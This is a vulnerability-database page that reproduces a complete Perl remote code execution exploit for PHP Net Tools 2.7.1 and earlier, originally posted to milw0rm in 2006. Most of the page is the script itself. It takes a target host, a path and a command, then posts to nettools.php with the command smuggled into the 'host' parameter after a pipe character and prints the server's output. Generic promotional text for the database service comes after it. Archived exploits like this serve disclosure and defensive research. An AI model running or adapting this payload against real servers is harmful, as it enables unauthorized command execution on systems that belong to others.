Lucene search
K

PHP Net Tools <= 2.7.1 - Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

PHP Net Tools Remote Code Execution Exploit by FOX_MULDE

Code

                                                #!/usr/bin/perl
# PHP Net Tools Remote Code Execution Exploit
#
# by FOX_MULDER ([email protected])
# Vulnerability found by FOX_MULDER.
#
# &#34;Born to be root !!!&#34;
#----------------------------------+
#PHP Net Tools                     |
#Copyright (C) 2005 Eric Robertson |
#[email protected]                |
#----------------------------------+
#
# Fact:Wbyte counted twice to infinity !!!
#
#
###################################################
	use LWP 5.64;

	my $hostname = $ARGV[0];
	my $dir = $ARGV[1];
	my $command = $ARGV[2];

        if (@ARGV&#60;2) {
	print &#34;\nUsage: ntools.pl www.site.com /dir/ \&#34;ls \-la\&#34; \n&#34;;
	exit();
	}
	
	print &#34;=======================================================\n&#34;;
	print &#34;0day 0day 0day 0day 0day 0day 0day 0day 0day 0day 0day\n&#34;;
	print &#34;PHP Net Tools Command Execution Exploit by FOX_MULDER\n&#34;;
	print &#34;[email protected]\r\n&#34;;
	print &#34;=======================================================\n&#34;;

	my $browser = LWP::UserAgent-&#62;new;
	$browser-&#62;agent(&#39;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)&#39;);
	print &#34;\n\n[+]Sending request to server . . .\r\n&#34;;
	
	my $url = &#34;http://$hostname$dir/nettools.php&#34;;

	
	my $response = $browser-&#62;post( $url,[
		&#39;ping&#39; =&#62; &#39;1&#39;,
        	&#39;host&#39; =&#62; &#34;|$command&#34;]);

 	my $code = $response-&#62;status_line;
        print &#34;[+] HTTP RESPONSE $code\n&#34;;
        print &#34;\n[+]Injecting command . . .\n&#34;;
	$response-&#62;content =~ /blockquote&#62;(.*)&#60;\/blockquote&#62;/s;
	print &#34;$1\n&#34;;

# milw0rm.com [2006-04-18]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation